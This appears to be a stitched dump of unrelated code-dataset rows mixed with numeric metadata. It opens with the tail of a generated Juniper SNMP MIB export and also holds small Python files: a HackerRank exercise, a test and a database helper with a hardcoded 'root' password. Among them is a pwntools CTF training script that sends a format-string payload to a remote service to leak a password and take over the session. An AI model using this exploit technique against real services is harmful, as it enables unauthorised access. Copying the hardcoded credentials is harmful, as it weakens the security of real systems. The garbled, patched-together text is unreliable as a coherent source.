jnxMbgSgwIfGtpV2ICsAPNResTIncRx=jnxMbgSgwIfGtpV2ICsAPNResTIncRx, jnxMbgSgwIfDlDataNotiFlrIndRx=jnxMbgSgwIfDlDataNotiFlrIndRx, jnxMbgSgwPPGtpV2ICsInvTotLenTx=jnxMbgSgwPPGtpV2ICsInvTotLenTx, jnxMbgSgwGtpV2ICsMisUnknAPNRx=jnxMbgSgwGtpV2ICsMisUnknAPNRx, jnxMbgSgwModBrReqRx=jnxMbgSgwModBrReqRx, jnxMbgSgwModBrReqTx=jnxMbgSgwModBrReqTx, jnxMbgSgwIfGtpV2ICsReqRejTx=jnxMbgSgwIfGtpV2ICsReqRejTx, jnxMbgSgwIfRelAcsBrRespTx=jnxMbgSgwIfRelAcsBrRespTx, jnxMbgSgwCrIndTunReqRx=jnxMbgSgwCrIndTunReqRx, jnxMbgSgwIfGtpV2ICsProtoNtSupRx=jnxMbgSgwIfGtpV2ICsProtoNtSupRx, jnxMbgSgwPPDelBrRspRx=jnxMbgSgwPPDelBrRspRx, jnxMbgSgwPPGtpV2ICsLclDetTx=jnxMbgSgwPPGtpV2ICsLclDetTx, jnxMbgSgwIfGtpV2ICsIMSINotKnRx=jnxMbgSgwIfGtpV2ICsIMSINotKnRx, jnxMbgSgwIfRelAcsBrRespRx=jnxMbgSgwIfRelAcsBrRespRx, jnxMbgSgwPPV2VerNotSupTx=jnxMbgSgwPPV2VerNotSupTx, jnxMbgSgwIfGtpV2ICsPTMSISigMMTx=jnxMbgSgwIfGtpV2ICsPTMSISigMMTx, jnxMbgSgwIfGtpV2ICsRATChgRx=jnxMbgSgwIfGtpV2ICsRATChgRx, jnxMbgSgwGtpGwName=jnxMbgSgwGtpGwName, jnxMbgSgwPPGtpV2ICsUnabPageUETx=jnxMbgSgwPPGtpV2ICsUnabPageUETx, jnxMbgSgwGtpV2ICsNewPTSIAdbrTx=jnxMbgSgwGtpV2ICsNewPTSIAdbrTx, jnxMbgSgwSuspNotifRx=jnxMbgSgwSuspNotifRx, jnxMbgSgwPPV2VerNotSupRx=jnxMbgSgwPPV2VerNotSupRx, jnxMbgSgwIfGtpV2ICsNoMemRx=jnxMbgSgwIfGtpV2ICsNoMemRx, jnxMbgSgwDelBrRspTx=jnxMbgSgwDelBrRspTx, jnxMbgSgwIfGtpV2ICsSynErTADTx=jnxMbgSgwIfGtpV2ICsSynErTADTx, jnxMbgSgwIfIPProtoErrRx=jnxMbgSgwIfIPProtoErrRx, jnxMbgSgwIfGtpV1EchoRespRx=jnxMbgSgwIfGtpV1EchoRespRx, jnxMbgSgwPPGtpV2ICsInvLenTx=jnxMbgSgwPPGtpV2ICsInvLenTx, jnxMbgSgwSuspNotifTx=jnxMbgSgwSuspNotifTx, jnxMbgSgwPPGtpV2ICsColNWReqRx=jnxMbgSgwPPGtpV2ICsColNWReqRx, jnxMbgSgwIfGtpV2ICsCtxNotFndTx=jnxMbgSgwIfGtpV2ICsCtxNotFndTx, jnxMbgSgwIfGtpV1ErrIndRx=jnxMbgSgwIfGtpV1ErrIndRx, jnxMbgSgwPPDelConnSetReqTx=jnxMbgSgwPPDelConnSetReqTx, jnxMbgSgwPPGtpV1EchoRespTx=jnxMbgSgwPPGtpV1EchoRespTx, jnxMbgSgwPPGtpV2ICsServDeniedTx=jnxMbgSgwPPGtpV2ICsServDeniedTx, jnxMbgSgwGtpV2ICsUnknownTx=jnxMbgSgwGtpV2ICsUnknownTx, jnxMbgSgwPPDelConnSetReqRx=jnxMbgSgwPPDelConnSetReqRx, jnxMbgSgwIfDelIndTunRespTx=jnxMbgSgwIfDelIndTunRespTx, jnxMbgSgwIfPiggybackMsgRx=jnxMbgSgwIfPiggybackMsgRx, jnxMbgSgwIfDelBrCmdRx=jnxMbgSgwIfDelBrCmdRx, jnxMbgSgwGtpV1EchoRespRx=jnxMbgSgwGtpV1EchoRespRx, jnxMbgSgwPPGtpLclAddr=jnxMbgSgwPPGtpLclAddr, jnxMbgSgwPPGtpV2ICsPkFltSynErRx=jnxMbgSgwPPGtpV2ICsPkFltSynErRx, jnxMbgSgwPPGtpV2ICsRelocFailTx=jnxMbgSgwPPGtpV2ICsRelocFailTx, jnxMbgSgwGtpV2ICsAPNAcsDenRx=jnxMbgSgwGtpV2ICsAPNAcsDenRx, jnxMbgSgwIfGtpV2ICsUnknownTx=jnxMbgSgwIfGtpV2ICsUnknownTx, jnxMbgSgwPPDelSessRspRx=jnxMbgSgwPPDelSessRspRx, jnxMbgSgwPPGtpV2ICsNewPTNPrefTx=jnxMbgSgwPPGtpV2ICsNewPTNPrefTx, jnxMbgSgwV2EchoRespTx=jnxMbgSgwV2EchoRespTx, jnxMbgSgwPPGtpV2ICsVerNotSuppTx=jnxMbgSgwPPGtpV2ICsVerNotSuppTx, jnxMbgSgwResumeNotifTx=jnxMbgSgwResumeNotifTx, jnxMbgSgwPPCrtBrRspTx=jnxMbgSgwPPCrtBrRspTx, jnxMbgSgwPPGtpV2ICsGREKeyNtFdRx=jnxMbgSgwPPGtpV2ICsGREKeyNtFdRx, jnxMbgSgwPPGtpV2ICsManIEIncorRx=jnxMbgSgwPPGtpV2ICsManIEIncorRx, jnxMbgSgwIfDlDataNotifRx=jnxMbgSgwIfDlDataNotifRx, jnxMbgSgwIfDelConnSetReqRx=jnxMbgSgwIfDelConnSetReqRx, jnxMbgSgwGtpV2ICsAPNResTIncRx=jnxMbgSgwGtpV2ICsAPNResTIncRx, jnxMbgSgwIfGtpV1ProtocolErrRx=jnxMbgSgwIfGtpV1ProtocolErrRx, jnxMbgSgwIfUpdBrRspTx=jnxMbgSgwIfUpdBrRspTx, jnxMbgSgwPPGtpV2ICsTFTSysErrRx=jnxMbgSgwPPGtpV2ICsTFTSysErrRx) mibBuilder.exportSymbols("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", jnxMbgSgwResumeNotifRx=jnxMbgSgwResumeNotifRx, jnxMbgSgwIfV2EchoReqRx=jnxMbgSgwIfV2EchoReqRx, jnxMbgSgwSuspAckTx=jnxMbgSgwSuspAckTx, jnxMbgSgwGtpV1EndMarkerRx=jnxMbgSgwGtpV1EndMarkerRx, jnxMbgSgwIfGtpV2ICsNoMemTx=jnxMbgSgwIfGtpV2ICsNoMemTx, jnxMbgSgwPPGtpV2ICsNPTSIAdbrRx=jnxMbgSgwPPGtpV2ICsNPTSIAdbrRx, jnxMbgSgwPPGtpV1EndMarkerTx=jnxMbgSgwPPGtpV1EndMarkerTx, jnxMbgSgwPPGtpV2ICsReqRejRx=jnxMbgSgwPPGtpV2ICsReqRejRx, jnxMbgSgwIfSuspAckRx=jnxMbgSgwIfSuspAckRx, jnxMbgSgwIfGtpV2ICsNoResRx=jnxMbgSgwIfGtpV2ICsNoResRx, jnxMbgSgwIfGtpV2ICsInvPrTx=jnxMbgSgwIfGtpV2ICsInvPrTx, jnxMbgSgwGtpV2ICsMisUnknAPNTx=jnxMbgSgwGtpV2ICsMisUnknAPNTx, jnxMbgSgwIfGtpV2ICsNPTSIAdbrTx=jnxMbgSgwIfGtpV2ICsNPTSIAdbrTx, jnxMbgSgwPPGtpV2ICsEIFRNCEnRx=jnxMbgSgwPPGtpV2ICsEIFRNCEnRx, jnxMbgSgwUpdConnSetReqRx=jnxMbgSgwUpdConnSetReqRx, jnxMbgSgwGtpV2ICsAllDynAdOccTx=jnxMbgSgwGtpV2ICsAllDynAdOccTx, jnxMbgSgwIfResumeNotifRx=jnxMbgSgwIfResumeNotifRx, jnxMbgSgwGtpV2ICsRATChgTx=jnxMbgSgwGtpV2ICsRATChgTx, jnxMbgSgwGtpV1ErrIndTx=jnxMbgSgwGtpV1ErrIndTx, jnxMbgSgwIfSuspNotifTx=jnxMbgSgwIfSuspNotifTx, jnxMbgSgwIfGtpV2ICsAlDynAdOccRx=jnxMbgSgwIfGtpV2ICsAlDynAdOccRx, jnxMbgSgwIfUnknMsgRx=jnxMbgSgwIfUnknMsgRx, jnxMbgSgwPPDlDataAckRx=jnxMbgSgwPPDlDataAckRx, jnxMbgSgwIfGtpV2ICsNoResTx=jnxMbgSgwIfGtpV2ICsNoResTx, jnxMbgSgwPPGtpV2ICsTFTSMANTErTx=jnxMbgSgwPPGtpV2ICsTFTSMANTErTx, jnxMbgSgwIfGtpV2ICsTFTSMANTErTx=jnxMbgSgwIfGtpV2ICsTFTSMANTErTx, jnxMbgSgwIfV2NumBytesRx=jnxMbgSgwIfV2NumBytesRx, jnxMbgSgwPPPacketSendFail=jnxMbgSgwPPPacketSendFail, jnxMbgSgwModBrRspRx=jnxMbgSgwModBrRspRx, jnxMbgSgwPPCrIndTunReqTx=jnxMbgSgwPPCrIndTunReqTx, jnxMbgSgwRelAcsBrReqRx=jnxMbgSgwRelAcsBrReqRx, jnxMbgSgwPPGtpV2ICsCondIEMsRx=jnxMbgSgwPPGtpV2ICsCondIEMsRx, jnxMbgSgwIfDelBrFlrIndRx=jnxMbgSgwIfDelBrFlrIndRx, jnxMbgSgwV2NumBytesRx=jnxMbgSgwV2NumBytesRx, jnxMbgSgwPPGtpV2ICsUENotRespRx=jnxMbgSgwPPGtpV2ICsUENotRespRx, jnxMbgSgwPPGtpV2ICsDtForNtSupTx=jnxMbgSgwPPGtpV2ICsDtForNtSupTx, jnxMbgSgwGtpNotificationVars=jnxMbgSgwGtpNotificationVars, jnxMbgSgwPPV2EchoRespRx=jnxMbgSgwPPV2EchoRespRx, jnxMbgSgwPPGtpV2ICsTFTSysErrTx=jnxMbgSgwPPGtpV2ICsTFTSysErrTx, jnxMbgSgwGtpV2ICsVerNotSuppTx=jnxMbgSgwGtpV2ICsVerNotSuppTx, jnxMbgSgwIfGtpV1EchoReqRx=jnxMbgSgwIfGtpV1EchoReqRx, jnxMbgSgwIfCreateSessRspTx=jnxMbgSgwIfCreateSessRspTx, jnxMbgSgwGtpPerPeerStatsEntry=jnxMbgSgwGtpPerPeerStatsEntry, jnxMbgSgwPPGtpV2ICsUnknownTx=jnxMbgSgwPPGtpV2ICsUnknownTx, jnxMbgSgwIfGtpV2ICsPTMSISigMMRx=jnxMbgSgwIfGtpV2ICsPTMSISigMMRx, jnxMbgSgwGtpGwIndex=jnxMbgSgwGtpGwIndex, jnxMbgSgwModBrCmdRx=jnxMbgSgwModBrCmdRx, jnxMbgSgwPPDelSessRspTx=jnxMbgSgwPPDelSessRspTx, jnxMbgSgwIfV2NumMsgRx=jnxMbgSgwIfV2NumMsgRx, jnxMbgSgwIfBrResCmdRx=jnxMbgSgwIfBrResCmdRx, jnxMbgSgwPPGtpV2ICsAllDynAdOcTx=jnxMbgSgwPPGtpV2ICsAllDynAdOcTx, jnxMbgSgwIfV2VerNotSupRx=jnxMbgSgwIfV2VerNotSupRx, jnxMbgSgwPPGtpV2ICsPageTx=jnxMbgSgwPPGtpV2ICsPageTx, jnxMbgSgwPPGtpV2ICsSemErTADTx=jnxMbgSgwPPGtpV2ICsSemErTADTx, jnxMbgSgwPPResumeAckRx=jnxMbgSgwPPResumeAckRx, jnxMbgSgwGtpV2ICsPTNotSuppTx=jnxMbgSgwGtpV2ICsPTNotSuppTx, jnxMbgSgwGtpV2ICsSysFailRx=jnxMbgSgwGtpV2ICsSysFailRx, jnxMbgSgwPPUnknMsgRx=jnxMbgSgwPPUnknMsgRx, jnxMbgSgwGtpV2ICsNOTFTUECTXTx=jnxMbgSgwGtpV2ICsNOTFTUECTXTx, jnxMbgSgwPPDelBrReqRx=jnxMbgSgwPPDelBrReqRx, jnxMbgSgwGtpV2ICsManIEMissRx=jnxMbgSgwGtpV2ICsManIEMissRx, jnxMbgSgwDelIndTunReqRx=jnxMbgSgwDelIndTunReqRx, jnxMbgSgwGtpV2ICsReqAcceptRx=jnxMbgSgwGtpV2ICsReqAcceptRx, jnxMbgSgwPPUpdBrRspRx=jnxMbgSgwPPUpdBrRspRx, jnxMbgSgwIfGtpV2ICsMisUnknAPNTx=jnxMbgSgwIfGtpV2ICsMisUnknAPNTx, jnxMbgSgwPPGtpV1ErrIndRx=jnxMbgSgwPPGtpV1ErrIndRx, jnxMbgSgwGtpPeerName=jnxMbgSgwGtpPeerName, jnxMbgSgwDelBrReqTx=jnxMbgSgwDelBrReqTx, jnxMbgSgwIfGtpV2ICsManIEIncorTx=jnxMbgSgwIfGtpV2ICsManIEIncorTx, jnxMbgSgwIfGtpV2ICsSemErTADRx=jnxMbgSgwIfGtpV2ICsSemErTADRx, jnxMbgSgwIfGtpV2ICsDenINRatRx=jnxMbgSgwIfGtpV2ICsDenINRatRx, jnxMbgSgwIfUpdBrRspRx=jnxMbgSgwIfUpdBrRspRx, jnxMbgSgwPPCrtBrReqRx=jnxMbgSgwPPCrtBrReqRx, jnxMbgSgwGtpV2ICsTFTSysErrTx=jnxMbgSgwGtpV2ICsTFTSysErrTx, jnxMbgSgwIfPcktLenErrRx=jnxMbgSgwIfPcktLenErrRx, jnxMbgSgwIfGtpV2ICsRelocFailTx=jnxMbgSgwIfGtpV2ICsRelocFailTx, jnxMbgSgwIfGtpV2ICsReqAcceptTx=jnxMbgSgwIfGtpV2ICsReqAcceptTx, jnxMbgSgwPPPiggybackMsgRx=jnxMbgSgwPPPiggybackMsgRx, jnxMbgSgwDelSessRspTx=jnxMbgSgwDelSessRspTx, jnxMbgSgwPPDelBrReqTx=jnxMbgSgwPPDelBrReqTx, jnxMbgSgwGtpV2ICsTFTSMANTErRx=jnxMbgSgwGtpV2ICsTFTSMANTErRx, jnxMbgSgwPPGtpV2ICsUERefusesTx=jnxMbgSgwPPGtpV2ICsUERefusesTx, jnxMbgSgwGtpV2ICsNoResRx=jnxMbgSgwGtpV2ICsNoResRx, jnxMbgSgwIfDelBrReqRx=jnxMbgSgwIfDelBrReqRx, jnxMbgSgwGtpV2ICsRMValRcvRx=jnxMbgSgwGtpV2ICsRMValRcvRx, jnxMbgSgwGtpV2ICsUnabPageUERx=jnxMbgSgwGtpV2ICsUnabPageUERx, jnxMbgSgwIfGtpV2ICsNewPTNPrefTx=jnxMbgSgwIfGtpV2ICsNewPTNPrefTx, jnxMbgSgwPPBrResCmdTx=jnxMbgSgwPPBrResCmdTx, jnxMbgSgwIfDlDataNotifTx=jnxMbgSgwIfDlDataNotifTx, jnxMbgSgwPacketAllocFail=jnxMbgSgwPacketAllocFail, jnxMbgSgwPPGtpV2ICsSemErTADRx=jnxMbgSgwPPGtpV2ICsSemErTADRx, jnxMbgSgwPPDlDataNotiFlrIndTx=jnxMbgSgwPPDlDataNotiFlrIndTx, jnxMbgSgwIfUpdConnSetRspTx=jnxMbgSgwIfUpdConnSetRspTx, jnxMbgSgwGtpV2ICsIMSINotKnTx=jnxMbgSgwGtpV2ICsIMSINotKnTx, jnxMbgSgwGtpV2ICsSemErTADRx=jnxMbgSgwGtpV2ICsSemErTADRx, jnxMbgSgwPPGtpV2ICsLclDetRx=jnxMbgSgwPPGtpV2ICsLclDetRx, jnxMbgSgwIfUpdConnSetReqTx=jnxMbgSgwIfUpdConnSetReqTx, jnxMbgSgwIfPacketSendFail=jnxMbgSgwIfPacketSendFail, jnxMbgSgwIfGtpV2ICsNPTSIAdbrRx=jnxMbgSgwIfGtpV2ICsNPTSIAdbrRx, jnxMbgSgwIfGtpV2ICsAcceptPartTx=jnxMbgSgwIfGtpV2ICsAcceptPartTx, jnxMbgSgwPPUpdConnSetRspRx=jnxMbgSgwPPUpdConnSetRspRx, jnxMbgSgwDelIndTunRespRx=jnxMbgSgwDelIndTunRespRx, jnxMbgSgwPPSuspNotifTx=jnxMbgSgwPPSuspNotifTx, jnxMbgSgwIfUpdConnSetRspRx=jnxMbgSgwIfUpdConnSetRspRx, jnxMbgSgwGtpV2ICsInvMsgFmtRx=jnxMbgSgwGtpV2ICsInvMsgFmtRx, jnxMbgSgwIfGtpV2ICsAPNAcsDenTx=jnxMbgSgwIfGtpV2ICsAPNAcsDenTx, jnxMbgSgwDelBrFlrIndTx=jnxMbgSgwDelBrFlrIndTx, jnxMbgSgwIfIndex=jnxMbgSgwIfIndex, jnxMbgSgwGtpV1T3RespTmrExpRx=jnxMbgSgwGtpV1T3RespTmrExpRx, jnxMbgSgwPPCreateSessRspTx=jnxMbgSgwPPCreateSessRspTx, jnxMbgSgwPPDelBrCmdTx=jnxMbgSgwPPDelBrCmdTx, jnxMbgSgwIfStopPagingIndTx=jnxMbgSgwIfStopPagingIndTx, jnxMbgSgwPPGtpV2ICsRelocFailRx=jnxMbgSgwPPGtpV2ICsRelocFailRx, jnxMbgSgwPPGtpV2ICsInvMsgFmtTx=jnxMbgSgwPPGtpV2ICsInvMsgFmtTx, jnxMbgSgwIfGtpV2ICsDenINRatTx=jnxMbgSgwIfGtpV2ICsDenINRatTx, jnxMbgSgwPPGtpV2ICsISRDeactRx=jnxMbgSgwPPGtpV2ICsISRDeactRx, jnxMbgSgwPPBrResCmdRx=jnxMbgSgwPPBrResCmdRx, jnxMbgSgwPPGtpV2ICsNoResTx=jnxMbgSgwPPGtpV2ICsNoResTx, jnxMbgSgwPPGtpV2ICsAllDynAdOcRx=jnxMbgSgwPPGtpV2ICsAllDynAdOcRx, jnxMbgSgwIfGtpV2ICsDtForNtSupTx=jnxMbgSgwIfGtpV2ICsDtForNtSupTx, jnxMbgSgwIfV2NumMsgTx=jnxMbgSgwIfV2NumMsgTx, jnxMbgSgwIfGtpV2ICsInvLenTx=jnxMbgSgwIfGtpV2ICsInvLenTx, jnxMbgSgwDlDataNotiFlrIndTx=jnxMbgSgwDlDataNotiFlrIndTx, jnxMbgSgwIfGtpV2ICsRPrNtRspTx=jnxMbgSgwIfGtpV2ICsRPrNtRspTx, jnxMbgSgwGtpV2ICsDeniedINRatTx=jnxMbgSgwGtpV2ICsDeniedINRatTx, jnxMbgSgwGtpV2ICsProtoNtSupRx=jnxMbgSgwGtpV2ICsProtoNtSupRx, jnxMbgSgwPPModBrFlrIndRx=jnxMbgSgwPPModBrFlrIndRx, jnxMbgSgwV2VerNotSupRx=jnxMbgSgwV2VerNotSupRx, jnxMbgSgwPPGtpV1EndMarkerRx=jnxMbgSgwPPGtpV1EndMarkerRx, jnxMbgSgwGtpV2ICsISRDeactTx=jnxMbgSgwGtpV2ICsISRDeactTx, jnxMbgSgwGtpV2ICsServDeniedRx=jnxMbgSgwGtpV2ICsServDeniedRx, jnxMbgSgwIfDlDataNotiFlrIndTx=jnxMbgSgwIfDlDataNotiFlrIndTx, jnxMbgSgwCrIndTunReqTx=jnxMbgSgwCrIndTunReqTx, jnxMbgSgwGtpV2ICsUserAUTHFlTx=jnxMbgSgwGtpV2ICsUserAUTHFlTx, jnxMbgSgwPPV2NumBytesRx=jnxMbgSgwPPV2NumBytesRx, jnxMbgSgwS4PiggybackMsgRx=jnxMbgSgwS4PiggybackMsgRx, jnxMbgSgwIfDlDataAckTx=jnxMbgSgwIfDlDataAckTx, jnxMbgSgwIfGtpV2ICsGREKeyNtFdRx=jnxMbgSgwIfGtpV2ICsGREKeyNtFdRx, jnxMbgSgwGtpV2ICsISRDeactRx=jnxMbgSgwGtpV2ICsISRDeactRx, jnxMbgSgwIfDelSessReqTx=jnxMbgSgwIfDelSessReqTx, jnxMbgSgwIfRelAcsBrReqTx=jnxMbgSgwIfRelAcsBrReqTx, jnxMbgSgwDelSessRspRx=jnxMbgSgwDelSessRspRx, jnxMbgSgwPPModBrRspTx=jnxMbgSgwPPModBrRspTx, jnxMbgSgwIfV2EchoRespRx=jnxMbgSgwIfV2EchoRespRx, jnxMbgSgwBrResCmdRx=jnxMbgSgwBrResCmdRx, jnxMbgSgwPPGtpV2ICsAPNResTIncTx=jnxMbgSgwPPGtpV2ICsAPNResTIncTx, jnxMbgSgwPPGtpV2ICsInvTotLenRx=jnxMbgSgwPPGtpV2ICsInvTotLenRx, jnxMbgSgwGtpV2ICsUnPgUESusRx=jnxMbgSgwGtpV2ICsUnPgUESusRx, jnxMbgSgwIfGtpV2ICsOptIEIncorTx=jnxMbgSgwIfGtpV2ICsOptIEIncorTx, jnxMbgSgwGtpV2ICsCmpDetTx=jnxMbgSgwGtpV2ICsCmpDetTx, jnxMbgSgwModBrFlrIndRx=jnxMbgSgwModBrFlrIndRx, jnxMbgSgwIfGtpV2ICsRMValRcvTx=jnxMbgSgwIfGtpV2ICsRMValRcvTx, jnxMbgSgwGtpCPerPeerStatsTable=jnxMbgSgwGtpCPerPeerStatsTable, jnxMbgSgwGtpInterfaceType=jnxMbgSgwGtpInterfaceType, jnxMbgSgwPPGtpV2ICsServNotSupTx=jnxMbgSgwPPGtpV2ICsServNotSupTx, jnxMbgSgwPPBrResFlrIndRx=jnxMbgSgwPPBrResFlrIndRx, jnxMbgSgwIfGtpV2ICsCondIEMsRx=jnxMbgSgwIfGtpV2ICsCondIEMsRx, jnxMbgSgwIfGtpV2ICsAPNResTIncTx=jnxMbgSgwIfGtpV2ICsAPNResTIncTx, jnxMbgSgwIfGtpV2ICsISRDeactTx=jnxMbgSgwIfGtpV2ICsISRDeactTx, jnxMbgSgwUpdBrReqRx=jnxMbgSgwUpdBrReqRx, jnxMbgSgwV2EchoRespRx=jnxMbgSgwV2EchoRespRx, jnxMbgSgwIfGtpV2ICsUnabPageUETx=jnxMbgSgwIfGtpV2ICsUnabPageUETx, jnxMbgSgwV2NumBytesTx=jnxMbgSgwV2NumBytesTx, jnxMbgSgwIfBrResFlrIndTx=jnxMbgSgwIfBrResFlrIndTx, jnxMbgSgwPPCreateSessRspRx=jnxMbgSgwPPCreateSessRspRx, jnxMbgSgwPPGtpV2ICsReqAcceptTx=jnxMbgSgwPPGtpV2ICsReqAcceptTx, jnxMbgSgwIfGtpV2ICsVerNotSuppRx=jnxMbgSgwIfGtpV2ICsVerNotSuppRx, jnxMbgSgwPPGtpV2ICsReqRejTx=jnxMbgSgwPPGtpV2ICsReqRejTx, jnxMbgSgwIfT3RespTmrExpRx=jnxMbgSgwIfT3RespTmrExpRx, jnxMbgSgwPPUpdConnSetRspTx=jnxMbgSgwPPUpdConnSetRspTx, jnxMbgSgwPPGtpRmtAddr=jnxMbgSgwPPGtpRmtAddr, jnxMbgSgwGtpGlbStatsEntry=jnxMbgSgwGtpGlbStatsEntry, jnxMbgSgwGtpV2ICsEIFRNCEnRx=jnxMbgSgwGtpV2ICsEIFRNCEnRx, jnxMbgSgwIfCrIndTunRespRx=jnxMbgSgwIfCrIndTunRespRx, jnxMbgSgwGtpV2ICsRPrNtRspRx=jnxMbgSgwGtpV2ICsRPrNtRspRx, jnxMbgSgwPPGtpRtgInst=jnxMbgSgwPPGtpRtgInst)
130.12168
14,121
0.801753
29,181
269,482
7.403996
0.043419
0.075703
0.13248
0.012645
0.574837
0.45628
0.448689
0.441733
0.26987
0.232468
0
0.072619
0.084848
269,482
2,070
14,122
130.184541
0.80346
0.001343
0
0
0
0.002425
0.188458
0.00476
0
0
0
0
0
1
0
false
0
0.005335
0
0.005335
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
5e3a9ab4118c0f0c1c0188378ff8afd2c67ece34
350
py
Python
HITCON-Training/LAB/lab7/crack.py
kernweak/HITCON-Training-writeup
cb9c7ca3dbb8bc22ad41bd94bf5b9f929823aa7c
[ "MIT" ]
30
2017-09-05T14:29:30.000Z
2022-03-20T01:51:29.000Z
HITCON-Training/LAB/lab7/crack.py
kernweak/HITCON-Training-writeup
cb9c7ca3dbb8bc22ad41bd94bf5b9f929823aa7c
[ "MIT" ]
null
null
null
HITCON-Training/LAB/lab7/crack.py
kernweak/HITCON-Training-writeup
cb9c7ca3dbb8bc22ad41bd94bf5b9f929823aa7c
[ "MIT" ]
7
2018-03-15T10:07:43.000Z
2020-12-14T09:36:19.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * host = "training.pwnable.tw" port = 11007 r = remote(host,port) password_addr = 0x804a048 r.recvuntil("?") r.sendline(p32(password_addr) + "#" + "%10$s" + "#" ) r.recvuntil("#") p = r.recvuntil("#") password = u32(p[:4]) r.recvuntil(":") r.sendline(str(password)) r.interactive()
15.909091
53
0.625714
49
350
4.428571
0.632653
0.184332
0.101382
0.175115
0
0
0
0
0
0
0
0.066225
0.137143
350
21
54
16.666667
0.652318
0.12
0
0
0
0
0.098039
0
0
0
0.029412
0
0
1
0
false
0.307692
0.076923
0
0.076923
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
eaa3714aff832e686ae4830447a5096de12ce12d
143
py
Python
Python/Sets/Set.add().py
pavstar619/HackerRank
697ee46b6e621ad884a064047461d7707b1413cd
[ "MIT" ]
61
2017-04-27T13:45:12.000Z
2022-01-27T11:40:15.000Z
Python/Sets/Set.add().py
fahad0193/HackerRank
eb6c95e16688c02921c1df6b6ea613667a251457
[ "MIT" ]
1
2017-06-24T14:16:06.000Z
2017-06-24T14:16:28.000Z
Python/Sets/Set.add().py
fahad0193/HackerRank
eb6c95e16688c02921c1df6b6ea613667a251457
[ "MIT" ]
78
2017-07-05T11:48:20.000Z
2022-02-08T08:04:22.000Z
if __name__ == '__main__': n = int(input()) s = set() for i in range (n): s.add(input()) print((len(s)))
15.888889
26
0.426573
19
143
2.789474
0.789474
0
0
0
0
0
0
0
0
0
0
0
0.384615
143
8
27
17.875
0.602273
0
0
0
0
0
0.055944
0
0
0
0
0
0
1
0
false
0
0
0
0
0.166667
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
eaad23f2b13bd298772ecacc2f6ab37c85b8ea24
64
py
Python
downloader_cli/__version__.py
srevinsaju/downloader-cli
f03b2b38467a07134c2d06f5e81f744a8ba45d21
[ "MIT" ]
1
2020-12-18T21:16:05.000Z
2020-12-18T21:16:05.000Z
downloader_cli/__version__.py
srevinsaju/downloader-cli
f03b2b38467a07134c2d06f5e81f744a8ba45d21
[ "MIT" ]
null
null
null
downloader_cli/__version__.py
srevinsaju/downloader-cli
f03b2b38467a07134c2d06f5e81f744a8ba45d21
[ "MIT" ]
null
null
null
"""Contiain the version of the package""" __version__ = "0.2.0"
21.333333
41
0.6875
10
64
4
0.7
0
0
0
0
0
0
0
0
0
0
0.054545
0.140625
64
2
42
32
0.672727
0.546875
0
0
0
0
0.217391
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
eab048820d03b22884f75124f36991ec3018d628
249
py
Python
test/test_commands/test_tail.py
Rudedog9d/pypsi
38dda442b21b8deb569d61076ab0a19c0e78edc8
[ "0BSD" ]
18
2015-01-07T19:05:29.000Z
2022-01-09T02:33:23.000Z
test/test_commands/test_tail.py
Rudedog9d/pypsi
38dda442b21b8deb569d61076ab0a19c0e78edc8
[ "0BSD" ]
30
2015-02-19T16:04:04.000Z
2021-03-30T00:09:58.000Z
test/test_commands/test_tail.py
Rudedog9d/pypsi
38dda442b21b8deb569d61076ab0a19c0e78edc8
[ "0BSD" ]
7
2016-01-02T17:55:48.000Z
2020-11-22T14:52:32.000Z
from pypsi.shell import Shell from pypsi.commands.tail import TailCommand class CmdShell(Shell): tail = TailCommand() class TestTail: def setup(self): self.shell = CmdShell() def teardown(self): self.shell.restore()
16.6
43
0.678715
30
249
5.633333
0.5
0.106509
0.153846
0
0
0
0
0
0
0
0
0
0.2249
249
14
44
17.785714
0.875648
0
0
0
0
0
0
0
0
0
0
0
0
1
0.222222
false
0
0.222222
0
0.777778
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
eabbe6584c7141a2b6f0410b24806f7f69f8db70
1,041
py
Python
python/db_conn.py
oerpli/MONitERO
64f1cc613a8c287a860ab98900f8dec19d506222
[ "MIT" ]
2
2019-02-09T17:45:48.000Z
2021-11-09T06:14:23.000Z
python/db_conn.py
oerpli/MONitERO
64f1cc613a8c287a860ab98900f8dec19d506222
[ "MIT" ]
null
null
null
python/db_conn.py
oerpli/MONitERO
64f1cc613a8c287a860ab98900f8dec19d506222
[ "MIT" ]
1
2018-12-17T20:08:49.000Z
2018-12-17T20:08:49.000Z
import psycopg2 import psycopg2.extras import sys from sqlalchemy import create_engine import pandas as pd def get_cursor(): conn_string = "host='localhost' dbname='HintereggerA' user='HintereggerA' password='root'" # print the connection string we will use to connect print("Connecting to database: {}".format(conn_string), file=sys.stderr) # get a connection, if a connect cannot be made an exception will be raised here conn = psycopg2.connect(conn_string) # conn.cursor will return a cursor object, you can use this cursor to perform queries cursor = conn.cursor(cursor_factory=psycopg2.extras.NamedTupleCursor) # cursor = conn.cursor() return cursor def query(query_string): cursor.execute(query_string) return cursor.fetchall() engine = create_engine('postgresql://HintereggerA:root@localhost/HintereggerA') def pandaquery(query_string): print("SQL: " + query_string) return pd.read_sql_query(query_string, engine) cursor = get_cursor() # print("DB Cursor is available as cursor") # print("query with query(str)")
32.53125
91
0.775216
146
1,041
5.424658
0.452055
0.069444
0.040404
0
0
0
0
0
0
0
0
0.0044
0.126801
1,041
32
92
32.53125
0.866887
0.29683
0
0
0
0
0.217631
0.101928
0
0
0
0
0
1
0.157895
false
0.052632
0.263158
0
0.578947
0.105263
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
